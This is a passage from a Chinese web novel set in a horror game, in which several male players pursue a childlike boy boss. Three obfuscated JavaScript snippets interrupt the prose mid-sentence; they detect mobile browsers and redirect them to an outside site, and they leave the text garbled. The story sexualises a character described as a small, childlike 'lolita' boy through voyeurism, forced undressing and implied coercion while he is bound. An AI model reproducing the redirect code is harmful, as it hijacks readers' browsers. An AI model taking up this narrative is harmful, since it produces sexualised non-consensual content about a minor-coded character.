罗荔更紧张了,小腿绷直,穿好了鞋也不敢放下来。 军装男人,长着一张他见过的脸。 报纸上,海报上,还有那些老照片…… 可等到真人站到自己面前的时候,又完全不一样了。 怪不得,那些人都不相信这个人会闹出丑闻。 他长得过于冷峻了,任何人看到这张脸都只会想起恪守军国主义的独裁者,而不可能是个流连花丛的人物。 阿伽门农。 堕落的军官,消失的院长,他的……养父,此刻就在眼前。 阿伽门农扣好他的鞋带,把他放到了一旁的椅子上。 他弯下腰来,抚摸罗荔淌着雨水的长发,轻轻揉了揉他的小脑袋。 那双深邃的暗绿眼瞳里,藏着罗荔看不懂的情绪。 他的指骨抚过罗荔的口袋,将他小心保护的金钥匙拿出来,掌心一按,罗荔便听到了提示音。 【道具“钥匙”已收纳】 随后,男人重新戴好手套,就要转身离去。 “等、等——” 罗荔这时候才发现,自己不知道该怎么称呼他。 他是要去哪儿?他不是首领boss吗? 还要好多事情想问…… 而幽深的走廊深处,只徒留一片黑暗。 哪里还有那人的身影。 …… 傅时越蹲在洗手台旁,指腹掠过潮湿的台面。 那些恶心的痕迹已经消失不见,但仍有一股残留的香气飘浮在这台面上。 甜稠的,像是新鲜花儿的花蕊留下的,独属于那小小美人的香气。 想必是被放在这洗手台上,捏着他的小脸,用痴迷的目光注视着他,然后在脑子里编织那些下流的想法。 傅时越看得见自己的臆想症病重值在飙升,他无法遏制地想象着卫生间里发生的一切。 单纯懵懂的少年,究竟用了什么手段,让瓦多拼死也要保护他…… 那纯白棉质布料下的景色,是不是让瓦多看过了。 还是说,更过分的事情也有尝试? 不。不行。 罗荔和他是情侣,他不会做这种事的。 傅时越缓缓起身,握住一旁的步枪。 而在他转身之际,后脑勺却忽然被枪口抵住了。 “别动。” 凌屿的声音从背后传来。傅时越侧目,看见被绳索捆死、满脸惊恐的陆妍妍。 他只有一瞬间的错愕,很快反应过来:“你是要对队友出手了?” “我没兴趣杀你们。我想做的,只有通关。” 凌屿丢下一个精致的礼品盒,“顶楼钥匙本来放在这里面,但现在里头是空的。钥匙是被罗荔拿走了。” “我知道你对他的心思,你肯定不会从他手上抢钥匙。康驯那条狗更不用说,他早就是罗荔的俘虏了。既然如此,你们两个都只会成为我通关的阻碍。” 傅时越冷笑:“那,这个陆妍妍也算是了?” 凌屿撕掉了陆妍妍嘴上的胶带。 女生不知是受了怎样恐怖的威胁,眼神涣散,嗫嚅道:“对、对……假标记是我做的……我都承认……” “你利用她做假标记,把罗荔引去你的诊室。既然她甘愿和你同谋,那也没有留着的必要了。” 凌屿重新封上了陆妍妍的嘴。 “傅时越,把你的枪交出来吧,你已经没有退路了。” 傅时越眯起眼睛。 “你就这么想通关啊。” “哼。留在这里,只有死路一条。只有活着出去,才能拿到我想要的一切。” 他不想再和傅时越废话,直截了当出手,夺过那杆步枪。 随后,再次掏出绳索,将他捆在了房柱上。 傅时越看见他的指尖闪过光芒。咔嚓一声,自己身上的衣服就被复制了一套一模一样的,落到他手中。 “你复制我的衣服……” 傅时越的脸色倏然变了,“你他妈想干什么?” 凌屿已经穿好了医生的白大褂,连里面都换成了傅时越的黑色短袖。戴上口罩后,几乎已经看不出他的本来样貌。 男人不紧不慢道:“你好歹也是罗荔的男朋友。当然,是‘自以为’的。但我还是不懂,你怎么能蠢成这样……” 他看着白大褂外的医生胸牌,“他被捆在小黑屋里的时候,你居然什么都不做,就这么把他放了。” 如果是他,就不会干这种蠢事。 更不会让他有机会、有力气逃跑,最后还落到瓦多的手中。 凌屿检查着枪支,心里飞快地梳理着现在的形势。 他们分头行动,安德烈寻找有关顶楼的线索,康驯去找回罗荔,他和傅时越则追杀瓦多。 但是瓦多现在不见了,康驯和安德烈那边也没有动静。 凌屿打开通讯器,正想要联系那另外两人,忽然发现安德烈向自己发来了一条消息。 “瓦多在精神科病房。” 凌屿眯起双目,将傅时越和陆妍妍控制好,提枪前往精神科。 …… 脚上虽然还有些疼,但是罗荔还是一瘸一拐地赶回了病房。 可惜他记性不够好,大厅附近的地形又太复杂,他根本就找不到原来那个房间在哪儿,只能焦急地一圈一圈乱转。 就在这时,在一个昏暗的拐角后,听见几声枪响传来。 ……康驯手里握着枪,几发子弹打出去,却通通落入虚空。 浓稠的黑雾像是泼洒的石油,触碰到肌肤时一阵火辣辣的疼。子弹已经快打完了,康驯咬咬牙,从腰间拔出匕首。 刀锋寒光凛凛,对着那一团雾气猛地刺下去。 黑雾躲开攻势,这一动身之间,露出雾中人的躯体。 死去的孟虎那张脸毫无征兆地出现在眼前,康驯心头一惊,刀尖偏了半寸,从瓦多的心脏旁边穿过。 黑雾中传来一声低闷哀嚎,被激怒的怪物竖起一根尖刺,刺向康驯的胸膛。 青年连忙躲过,尖刺刺破他的肩头,血如泉涌。 康驯仍旧死死握着刀,再次捅向瓦多。而这一次,黑雾急剧收缩,化作一条黑线,朝着远处逃窜而去。 “别跑!” 康驯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754379|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂着伤口追了过去,可黑雾的速度过快,等他跨过几条长廊,已经彻底消失不见。 只有一只黑色的兔子布偶落在长椅上。 他缓慢往长椅方向移动,握着匕首的手指愈发收紧,刀尖对准那只布偶。 就在这时,一个熟悉的娇小身影从阴影处跑了出来,将那只布偶紧紧抱在了怀里。 康驯难以置信地望着他:“罗荔?” 罗荔抱着失而复得的布偶兔,警惕地望着他。看见他手里沾了血的匕首,心脏一下子揪成了一团,连害怕也忘了,当即质问:“你是不是杀了瓦多!” 他的瞳孔有些湿湿的,嗓音发抖,像是要哭。 康驯都要气笑了。那可是几人合力才能制服的boss,他要有单挑的本事,至于像现在这样? 他身上的伤,罗荔怎么就看不见。 心里有些不爽。 康驯哼了一声,“对,杀了,捅了好几……” 话音未落,对面便传来几声断断续续的啜泣。 罗荔的小脸埋在布偶兔背后,狠狠瞪着他,眼泪汪汪。 康驯太阳穴一阵抽痛,把手上的血一擦,捧起他的脸颊。 “乖乖,祖宗,你,你怎么又哭啊?” 他实在拿这小东西没辙,“行了,我骗你的。祂没死,不知道逃哪儿去了。” 可罗荔还是眼圈红红地瞪着他,不太信的样子。 毕竟之前康驯才骗过他,把照片交给了其他玩家。 他可是很记仇的。 “……那只是一张照片。”康驯当然也没忘记这件事,“凌屿他们早就怀疑你了。假如我当时不拿出来,他们也有别的办法。” 比起看见他被为难、羞辱,康驯倒宁愿直接把照片线索交出去。 罗荔缓缓抬起弯翘羽睫,眼尾润着一抹红色。 “可是,你之前还说,男扮女装很恶心。别人,肯定也这么觉得……” 我操。 康驯脱口而出:“那是我犯贱说的,你怎么还记得?” 与其说恶心,不如觉得……很刺激。 目光不由得又落在罗荔身上。 他刚刚淋了雨,雨水沁透布料,几乎能看见那衣服底下的、线条柔软雪白的身体。丝袜更是湿得没法看,被扯破了好几道裂口,软嫩的肤肉悉数露在外面。 这下更加刺激了。康驯觉得自己都快要飙鼻血。 男孩跺了下脚,“反正你别想着和我作对,以后……别让我看见你。” 康驯眼疾手快地握住了他的手腕:“你是不是要去顶楼?” 罗荔没搭腔,康驯愈发不理解。 “你难道还想着把你那养父关起来强.制爱?” “他都那么大岁数了,一把老骨头,有什么好强制的。” 虽然阿伽门农院长最多三十来岁的年纪,但他就是要这么说,“你不觉得,换一个对象囚.禁,更有意思么?” 罗荔难以置信地抬起水眸。 面前酷哥双手插兜,挑了下眉峰,“还不如关我。我比他年轻,也比他有精力。” 光是想想被小美人关起来日日夜夜索要的日子,他就觉得爽爆了。自己可不像那个老东西一样不知好歹。 罗荔:…… 异常干脆地拒绝:“不要。” 22.022 话音方落,康驯面前便弹出了刺目的提示。 【玩家“凌屿”已脱离阵营,请其余玩家小心应对】 凌屿……脱离了? 游戏里的玩家初始默认为同一阵营,需要组队通关。 而一旦出现“脱离”现象,说明这个玩家放弃组队,要自己独自通关了。 独自通关高风险低回报,基本没人会选择,除非…… 他是要阻止其他玩家通关,然后包揽所有积分。 康驯耳边的通讯器传来了凌屿的声音。 “顶楼钥匙现在在罗荔身上。我要找到他拿回钥匙。” “康驯,我想你现在应该和他在一起吧,最好主动让他把钥匙给我。” “假如你要阻拦我,我会连带着你一起铲除。” 靠,这家伙疯了吧?! 罗荔回过头来:“怎么啦?” 少年还没意识到危机正在降临。康驯犹豫片刻:“凌屿要来找你,拿钥匙。” 罗荔顿时慌了。他还没找到顶楼入口,再这样下去,被凌屿追上只是时间问题。 康驯皱着眉头联系安德烈,但对方的通讯一直无法接通。 倘若凌屿要除掉他们所有人,那他现在和罗荔一样,当务之急就是不让凌屿得逞。 康驯抬眸:“不如这样,我帮你找到顶楼,你和我一起,想办法除掉凌屿,如何?” 罗荔思忖片刻。 以自己的能力确实很难面对现在的局面,他需要康驯的帮助。 于是点了点头。 康驯说:“那好,那你得先躲起来,不要让凌屿找到。” 他们现在就在精神科病房,康驯在门口探头一看,几名病人在那里做些恢复性的活动。 这儿的精神病人NPC比较多,相对聚集,再加上精神科的特殊性,不许外人入内。罗荔或许可以藏在这里。 康驯趁人不注意,顺了一套不知是谁脱下的病号服,把罗荔推进卫生间。 “你换好以后,就先混进那群病人里。等我把凌屿制服,就回来找你。” 蓝白相间的病号服相当宽大,罗荔在厕所隔间里换好,给裤脚卷了几层,才能正常走路。 康驯看见洗手台下有放杂物的柜子,于是把少年换下来的护士服藏了进去。 最后,又给他戴上口罩,把头发放下来,遮住大半张小脸。 换好衣服的少年看上去白皙孱弱,一把细腰罩在病号服下,裤腰带勒到最紧也有些往下掉。不过这抱着玩偶、睫羽垂落的模样,倒真像极了那种身娇体弱、谁也不愿意搭理的住院小少爷。 【这一身也好好看啊荔荔】 【明明是恐怖游戏,可我总想玩奇迹荔荔怎么办】 【宝宝看起来真是走三步喘两步的样子,感觉走不了多远就要人抱了】 【天杀的想把病号荔荔塞麻袋里偷走】 “好了,你就在这里等我吧。” 康驯推门离去。 虽然换上了这身衣服,但罗荔还是不敢靠近那些病人NPC。他坐在病房角落,装模作样地摆弄手里的积木,耳边时不时听到一些医生和病人的谈话声。 “……跟你说过多少遍了,在公共场合不能脱病号服,你怎么就听不懂。” “真是的,之前不是说好转了吗,我才让你离开精神科的。结果现在回来了,而且病情比以前还严重……” “说你呢!待着别动,我去把你的病号服找回来。” 一屋的病人都好奇地往那闹出动静的方向瞧。 隔着一扇门,只能看见那人模糊的背影。大概是个极其高大的家伙,只穿了一身短袖短裤,健硕的双臂裸.露在外,这么一身打扮显得格外怪异。 医生让他先去隔壁房间等着,随后推门进来。 “你们有谁见到刚刚脱在外面长椅上的那身病号服了?” 这医生NPC口气很不耐烦,“谁拿了快点送回来,真是的,整天闹出这么多幺蛾子……” 罗荔愣了片刻,心里咯噔一声。 刚刚康驯,是不是就是从长椅上顺的这身衣服? 他揪着自己的衣角,眼看医生越走越近,心悬到了嗓子眼儿。 “病号服不能混穿啊,现在病毒那么厉害,你们真是不长心眼。” 他一个一个地询问,每个病人都说没有见过。罗荔手心渗出了薄汗,积木都捉不稳,只能偷偷打量着退路。 然而还没等他找到,那医生已经先一步发现了他。 “那边的,你过来。” 罗荔怯怯抬眸,四周NPC都看向了他。 他只能硬着头皮跳下座位,站到了医生面前。 松松垮垮的病号服罩在身上,薄窄纤细的小肩膀根本撑不起来肩线。罗荔感觉裤腰更松了,艰难挂在胯骨轴上,好像很快就要撑不住掉下来。 果不其然,医生狐疑地扯了一下他的袖子。 “这衣服是你的么?” 罗荔虚虚道:“是、是我的。” 他还是太不会撒谎了,鼻腔里闷着潮湿发颤尾音,任谁一听都知道有鬼。 “什么就是你的了,撒谎精。” 那医生毫不客气,揪起他的领口,看见上面的号码,“这不就是那家伙的衣服吗?还说是你的!” 他松开手,不耐烦道:“快给我脱了,把衣服还回去。” 少年的脸色变得有些苍白。医生催促着:“磨蹭什么?快点脱,都是男的,你怕什么。” 太丢脸了。 罗荔耳廓泛红,屈辱地想,自己身为一个boss,居然会被NPC这么为难。 周围的视线如有实质,他只能逼着自己低下头,假装看不见这些眼神。 坐在床边一角,慢吞吞地,扯下病号服的裤子。 宽大裤管下,白嫩纤细的两条腿一点点抽出来。那腿上一点肌肉的痕迹也没有,柔粉色的膝盖下凹陷一个小小的窝,微鼓的小腿肚肉眼可见地打着颤,坐在床上时,竟然比床单还要白得晃眼。 一条腿脱离裤管,手指绞着裤脚拎起来时,抬平的小腿也落了下去。 所有人都在这一瞬间看见了他的足心。 软肉鼓鼓的足掌,冒着一朵一朵的粉红色。 赤.裸的大腿死死并紧,两条小腿则分开一些,足尖顶着足尖,局促不安地蹭。 而放在上衣纽扣上的手却怎么也动不了了。 一抬眸,就是一群病人近乎裸.露的视线。 罗荔羞耻地快要哭出来。 怎么所有人在看他。不看不行吗……他到底有什么可看的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754380|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时候才忽然意识到,把这一身脱了以后,他穿什么? 他可没有自己的病号服啊! 大脑顿时一片空白,罗荔不知所措地怔在那里,慌张地搓起衣角。 而在这时,有个病人走向了他的病床。 拿起他刚刚脱下来的裤子,若有所思似的,放在鼻子下面,闻了闻。 随后,竟然转身,交给了其他病患。 窸窸窣窣的议论声传来。 “香的。” “好香。” 罗荔耳颈爆红,可又不敢动弹,毕竟自己此刻光着腿,稍稍起身,必然就会走光了。 那些病人还在盯着他。确切地说,是在等着他站起来。 罗荔莫名感觉,自己只要稍微动一下,这些人一定会弯腰……往他下面看。 真的是神经病! 少年鼻尖发酸,睫毛翘起打湿,嗓子里酝酿起哭腔。 别看了……快走开…… “咚咚咚。” 有人来敲门。医生开门一看,“傅主任……您怎么到这儿来了?” 罗荔泪眼朦胧地望过去,看见男人熟悉的身影。 傅时越说:“来接个人。” 他走进病房,瞄了一眼被几个病患争抢着的病号服裤子,随后,目光落在了床边少年身上。 慢慢走过来,挡在罗荔身前。 “能走得动吗?还是,要我抱你?” 罗荔犹豫了一下,朝他张开双臂:“要抱。” 傅时越便将他抱了起来。少年此刻只穿了件病号服上衣,衣服下摆遮了一点大腿和屁股,趴在傅时越肩头,红着脸颊,慢慢走出众人的视野。 他伏在男人耳边说:“我的衣服在卫生间的柜子里。” “嗯,等下帮你拿。” 傅时越今天的口气好像怪怪的。罗荔有些疑惑,他平常和自己说话的时候总是亲昵到没有边界感,现在怎么感觉……变得有些冷淡。 “你知不知道凌屿脱离队伍了呀?” “知道。” 傅时越把他放到了一处单间病房,“怎么了?你很怕他?” 罗荔立即否认:“没有!我就是,好心提醒你一下。” 他不自在地揉着手指,黏黏糊糊道:“反正,你别让他找到我就行。” 傅时越笑了一声:“我为什么要帮你啊,小boss。” 罗荔眨眨透亮杏眼:“你、你不是我的男朋友嘛?” 傅时越动作一顿,目光下移,落在他被衣服遮住的腿心。那病号服不算厚,隐隐约约的,能看见一点白颜色,是弧度柔软的三角形。 罗荔意识到他在看什么,连忙用小手捂住。 “你干什么!” 少年羞愤地往后缩了缩,整个小人都缩成一团,使劲把衣摆往下扯。 “男朋友也不行?” 罗荔失语,膝盖夹得更紧:“反正,你……你都看过一次了,不许再看了。” “看过一次……” 傅时越沉沉低笑,忽然抬手,将脸上的口罩缓缓勾了下来。 逆光之下,男人冰冷禁欲的面孔,在罗荔的视野中越来越清晰。 凌屿不紧不慢地捏住他的小下巴。 “你什么时候给我看过?” 23.023 男孩脸上的口罩也被他一点点摘下。 这张小脸上,总是能露出凌屿喜欢的表情。 在他发现自己变态的心理时,细秀眉宇拧紧,压着翘起的眼尾,黑漆漆的眼珠很嫌弃地向下瞥,平常那种乖甜的感觉被打破,流露出一些瞧不起人的、轻蔑的厌恶,好像下一秒就要说出“变态”“恶心”“好逊哦”这样的字眼。 而在陷入恐惧的时候,白里透粉的脸蛋会一下子失去血色,只有沁着泪水的眼眶变得更红。 睫毛上沾着水丝,口中破碎地溢出几声求饶,那种公主一样的傲慢娇气荡然无存。 不管哪一种表情,都漂亮得让人移不开眼。 现在也是一样。 凌屿将他逼进角落,看着那张揉杂了嫌弃与恐惧的小脸,“真奇怪啊,罗荔。” “我见过很多boss,没有一个和你一样。武力值智力值精神值都那么低,居然能够幸存到现在。” “不得不说,你很会让玩家纵容你、放过你。” 罗荔不敢抬头,他觉得自己这次肯定完蛋了。可临死前还想再挣扎一番:“你、你不就是想通关嘛,也许,我能帮、帮你……” “你帮不了我。”凌屿说,“这个副本被你改变了,知道吗?原本,玩家找到被变态养子监禁的院长,将他释放,就可以通关。但是现在不一样了。” 原来的副本里,阿伽门农完全是个正直的军官。 可现在,种种迹象表明,心理扭曲的、怀着不正当欲望的,已经不是养子Lori。 “你那件情趣内衣上的名字,不是你缝的,而是阿伽门农缝的吧。” 凌屿在他耳边道,“我想除了在你的贴身衣物上,他还想在你的小肚子上,大腿内侧,还有……那里,都写上他的名字。” 罗荔咽了一下口水:“为、为什么?” 凌屿一笑:“把顶楼的钥匙给我,我告诉你。” 面前少年两股战战,回避他的目光:“钥匙,我放在护士服的裙兜里了。” 凌屿没有质疑,反搂住他的腰肢,“好,我陪你去拿。” 幽长走廊延伸向前,罗荔的后颈不知不觉已经被冷汗打湿,发丝黏在他的颈肉上,汗珠一颗颗没入领口。 腰被凌屿的臂弯揽着,那人没有看他,可罗荔总觉得,对方的目光时时刻刻都黏在自己身上。 “阿伽门农确实没有教好你。” 凌屿平静道,“要不然,怎么会让你变成现在这个样子。一点防备心也没有,当着那么多男人的面脱裤子。” “现在,还要光着两条腿,和我去卫生间。” 男人在门前停下,握住了把手。 “是觉得,对瓦多用的那一套方法,也能在我身上故技重施么?” 凌屿松开搂着他的手,不自觉的,拧了下领带。 “可以啊。” “我看祂挺爽的,倒是不介意也体会一下。” 少年嫩粉的指尖藏在袖口里,长发低垂,什么也不说。 凌屿嗤笑一声,推开卫生间大门,走了进去。 然而,本以为少年会乖乖跟来,却只听“砰”的一声,门被重重关上了。 凌屿一怔,再推开门时,只看到一个落荒而逃的背影。 ……罗荔也不知道要往哪边逃,他连头都不敢回,心跳与呼吸声交杂轰鸣,脑子里完全一片混沌。 不知是经过了哪个房间,看见房门敞开一条缝隙,想也没想,便钻了进去。 刚刚把门锁上,就听见背后传来个熟悉的声音。 “甜心?” 病房里漆黑一团,只开了盏床头灯。罗荔转身,看见那头耀眼金发,安德烈坐在床边,上半身赤.裸着,麦色的胸肌起伏,整个人都被橙色光晕笼罩。 他好脾气地笑笑:“你不是走了吗,怎么又回来了?” 罗荔像是见到救星一般,“太、太好了,你还在这里!凌屿在追我……” 安德烈愣了一下:“这样吗?甜心你这么漂亮,有人追很正常。” “不是!” 罗荔快要急哭了:“他要抢我的钥匙!” 安德烈恍然,不好意思地挠了下脑袋:“抱歉抱歉,想歪了。那……要不然,在我这里躲一躲?” 罗荔求之不得。 坐到安德烈身边后,明显心安了些。少年因为逃跑而变得急促的呼吸尚未平复,蜷缩在床边一角,细白小牙咬紧,齿尖轻声打颤。 安德烈问:“很冷?” 罗荔小幅度地点了下头。 大男生坐近了些:“抱你一会儿,原谅我的不绅士好么,甜心?” 罗荔没有拒绝。安德烈给他的印象一直不错,是这几个人当中,唯一一个对他礼貌又热情的青年。 娇小少年拥入怀中,安德烈轻抚他的长发,如同无声的安慰。他显得愈发乖巧荏弱,搂着他的脖颈,像只依偎蜷缩的小兔。 病号服上衣罩着空荡荡的下身,折起两条雪白美腿坐在那里,小屁股将床单坐出浅浅的凹痕。 外表顺从而单纯的东方少年。 但实际上,已经交往过至少两任男友了。还都是有钱有势的,年纪大些的男人。 这样的年纪和情感经历,即使放在他们国家,也会被不着调的男生吹着口哨说一句“会玩”。 ……lolita啊。 罗荔对他心中的想法一无所知。他用小腿去卷旁边的被子,想盖到身上取暖。安德烈看出他的心思,主动把被子拎起来,裹住了他。 罗荔感激地说了声谢谢,把自己缩进被子里。 而在低头时,却一下子愣住了。 被子掀开的地方,赫然,压着一套护士服。 是自己刚刚换病号服时,康驯帮他藏在柜子里的那一套。 原本干干净净的衣服,现在变得凌乱不堪。尤其是裙子,裙角被人揉得不像样,像是被谁粗暴磨蹭过。 而上衣的胸口处,也多了点湿痕,像是唾液留下的。 胸口还有胸牌,也是飘着水光,不知道被嘬舔了多少回。 胸牌上的“护士:罗荔”这四个大字,此时已经有些看不清了。 他的脑子瞬间炸开,混乱地想到了很多事。 这里是精神病科。安德烈怎么会出现。刚刚医生说的那个乱脱病号服的病患,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770687|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这间病房,之前护士说,这里之前有个精神病患,在前些日子转去了二楼病房…… 安德烈的确说过,这里曾经是他的病房。 他也是二楼病人中的一员。 少年一帧一帧迟滞抬头,昏暗灯光下,原本像大型犬一样和善的俊美西方青年,凝望着他,缓慢勾起一个笑容。 只是那笑容与从前的阳光爽朗完全不同。黏腻,潮湿,不怀好意,阴险至极。 安德烈轻轻抬起他的下巴,放在指弯里细细勾弄。 “……好迟钝啊,亲爱的。” “看你这么信任我,我还挺高兴的。” “可惜……要让你失望了。” 罗荔一点点后退:“什么……意思。” “别紧张。我和凌屿不是一伙的,我也不会把你交给他。” “比起抢走你的钥匙,我有一个更好的主意。” 安德烈抚着他的后颈,让他抬头。一声响指过后,整个房间都亮起了灯。 罗荔这才发现这个病房的不同之处。这里堆满了图画书、玩具,还有陈旧的礼物盒,四面挂着色彩鲜艳的水彩画,巨大落地窗外可以清晰地看见外面的景色。 “这是一间专属病房,它曾经只属于你。只可惜,在阿伽门农消失后,这里就没人看管了,改成了精神病科的病房。” “比起抢走钥匙进入顶楼,我更想把阿伽门农引出来呢。” 深爱着养子的退役军官,这间医院的院长,不出意外的话,也是这个东方小美人的爱人。 他没死,也没失踪。他就在医院里,那一天,安德烈还看见过。 英俊冷厉的军官,抱着罗荔,给他缠上领带的那一幕…… 小可怜只是擦伤了一点脚趾,就逼得他在大厅里现身。 那如果,现在有个男人把他心爱的lolita关在这里,做点有意思的事…… 阿伽门农,你还能不露面吗? 罗荔唇瓣发白,整个人瘫坐在床边。 看着安德烈直起身子,慢慢扯下腰带。 在他头顶上,红色的警戒提示极其刺目。 【玩家:安德烈】 【病症:暴.露.癖(95)】 【该玩家患有暴.露.癖,会在人前无法控制地脱衣,会因为被旁人注视裸.体而兴奋异常。当前已病入膏肓,请小心应对】 怪不得当时遇见他的时候,他没有穿外衣。 怪不得他会出现在这里。 自己真是傻瓜…… 大脑一片混乱间,只听“啪”的一声,腰带坠落在地。 罗荔被绑在了椅子上,惶恐地闭上眼睛。 安德烈低喝一声:“看着我。” 青年低低笑着,手抵在椅背处,温柔捏住罗荔的软腮,“睁眼啊,宝贝。要不然,我会病得更难受的。” 说着,又用掌心轻轻拍拍他的脸颊。 ……不,不对。不是手掌。 罗荔被烫得别过头去,青年宠溺地揉了揉他的小脑袋。 声音却放得更沉。 “亲爱的,睁眼。” “我保证,你会喜欢的。”